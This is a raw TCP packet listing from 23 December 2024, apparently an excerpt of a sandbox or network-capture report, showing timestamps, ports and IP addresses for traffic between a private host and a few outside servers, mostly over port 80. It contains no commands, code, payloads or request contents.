Dec 23, 2024 06:54:30.353483915 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:30.354397058 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:30.354440928 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:30.354512930 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:30.354561090 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:30.355504036 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:30.355547905 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:30.355602980 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:30.355645895 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:30.356559038 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:30.356605053 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:30.356636047 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:30.356672049 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:30.357615948 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:30.357660055 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:30.357698917 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:30.357739925 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:30.358712912 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:30.358760118 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:30.358798981 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:30.358840942 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:30.359783888 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:30.359832048 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:30.359869003 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:30.359904051 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:30.360851049 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:30.360899925 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:30.360919952 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:30.360955000 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:30.361917019 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:30.361964941 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:30.361984968 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:30.362020016 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:30.362993956 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:30.363039970 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:30.363109112 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:30.363152027 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:30.364067078 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:30.364115000 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:30.364146948 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:30.364182949 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:30.365278959 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:30.365329981 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:30.365350008 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:30.365385056 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:30.836061001 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:30.836093903 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:30.955679893 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:30.955693960 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:31.988374949 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:31.988429070 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:32.071634054 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:32.191121101 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:32.515599966 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:32.515700102 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:32.515700102 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:32.515742064 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:32.516083002 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:32.516140938 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:32.518409967 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:32.637916088 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:32.962183952 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:32.962292910 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:32.975430012 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:33.095840931 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:33.907502890 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:33.907618046 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:34.094558001 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:34.215074062 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:34.539745092 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:34.539834976 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:34.564722061 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:34.685745955 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:34.688802958 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:34.688956022 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:34.808403969 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:34.950920105 CET	49929	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:54:34.950974941 CET	443	49929	20.198.119.84	192.168.2.6
Dec 23, 2024 06:54:34.951057911 CET	49929	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:54:34.951683998 CET	49929	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:54:34.951700926 CET	443	49929	20.198.119.84	192.168.2.6
Dec 23, 2024 06:54:36.019067049 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.019136906 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.019150019 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.019202948 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.019259930 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.019432068 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.019445896 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.019458055 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.019470930 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.019484043 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.019484997 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.019510031 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.019521952 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.019999981 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.020013094 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.020061970 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.138730049 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.138794899 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.138876915 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.210977077 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.211030960 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.211040974 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.211075068 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.213422060 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.213488102 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.213500977 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.213546038 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.221884012 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.221991062 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.222048998 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.230374098 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.230462074 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.230520964 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.238745928 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.238847971 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.238933086 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.247215033 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.247237921 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.247302055 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.255625010 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.255743027 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.255815983 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.264066935 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.264182091 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.264278889 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.272475004 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.272658110 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.272742987 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.280953884 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.281089067 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.281196117 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.289321899 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.289408922 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.289493084 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.330548048 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.331023932 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.403172016 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.403250933 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.403340101 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.405648947 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.405762911 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.405853987 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.410603046 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.410725117 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.410801888 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.415600061 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.415721893 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.415786982 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.420593977 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.420703888 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.420784950 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.425376892 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.425487041 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.425575972 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.430238962 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.430327892 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.430409908 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.434969902 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.435074091 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.435141087 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.439800978 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.439902067 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.439959049 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.444535971 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.444659948 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.444751978 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.449345112 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.449440956 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.449503899 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.454165936 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.454333067 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.454392910 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.459044933 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.459073067 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.459157944 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.463766098 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.463851929 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.463929892 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.467554092 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.467649937 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.467794895 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.471384048 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.471585989 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.471651077 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.475189924 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.475306034 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.475374937 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.479037046 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.479104042 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.479168892 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.482825041 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.482913017 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.482980013 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.486625910 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.486800909 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.486855984 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.522881985 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.523006916 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.523138046 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.524867058 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.524918079 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.525015116 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.528621912 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.528817892 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.595109940 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.595185995 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.595328093 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.596647978 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.596731901 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.596786022 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.596815109 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.598906040 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.598953009 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.599194050 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.599231958 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.601912022 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.601984978 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.602066040 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.602108002 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.605329037 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.605340958 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.605405092 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.607764006 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.607811928 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.607857943 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.607907057 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.610639095 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.610702038 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.610716105 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.610758066 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.613409996 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.613456964 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.613511086 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.613547087 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.616164923 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.616213083 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.616260052 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.616300106 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.618913889 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.618956089 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.619000912 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.619040966 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.621639967 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.621712923 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.621733904 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.624356985 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.624392033 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.624425888 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.624460936 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.624499083 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.627571106 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.627584934 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.627629995 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.629995108 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.630052090 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.630172968 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.630213976 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.632663012 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.632705927 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.632827044 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.632864952 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.635546923 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.635572910 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.635598898 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.635624886 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.638475895 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.638487101 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.638531923 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.640942097 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.640989065 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.641104937 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.641143084 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.643704891 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.643763065 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.643831015 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.643873930 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.646444082 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.646456003 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.646497011 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.649014950 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.649076939 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.649154902 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.649203062 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.651179075 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.651242971 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.651341915 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.651382923 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.653238058 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.653332949 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.653383017 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.653424025 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.655100107 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.655147076 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.655215025 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.655257940 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.657155991 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.657221079 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.657243967 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.657283068 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.660998106 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.661016941 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.661056042 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.661077976 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.661278963 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.661323071 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.661449909 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.661494017 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.663521051 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.663569927 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.663692951 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.663734913 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.665244102 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.665304899 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.665338993 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.665384054 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.667284966 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.667340040 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.667397022 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.667438030 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.669306993 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.669358015 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.669393063 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.669441938 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.671430111 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.671447039 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.671478987 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.671492100 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.673350096 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.673410892 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.673429012 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.673470020 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.675440073 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.675487995 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.675566912 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.675606012 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.677414894 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.677464962 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.677520037 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.677568913 CET	49927	80	192.168.2.6	185.215.113.16
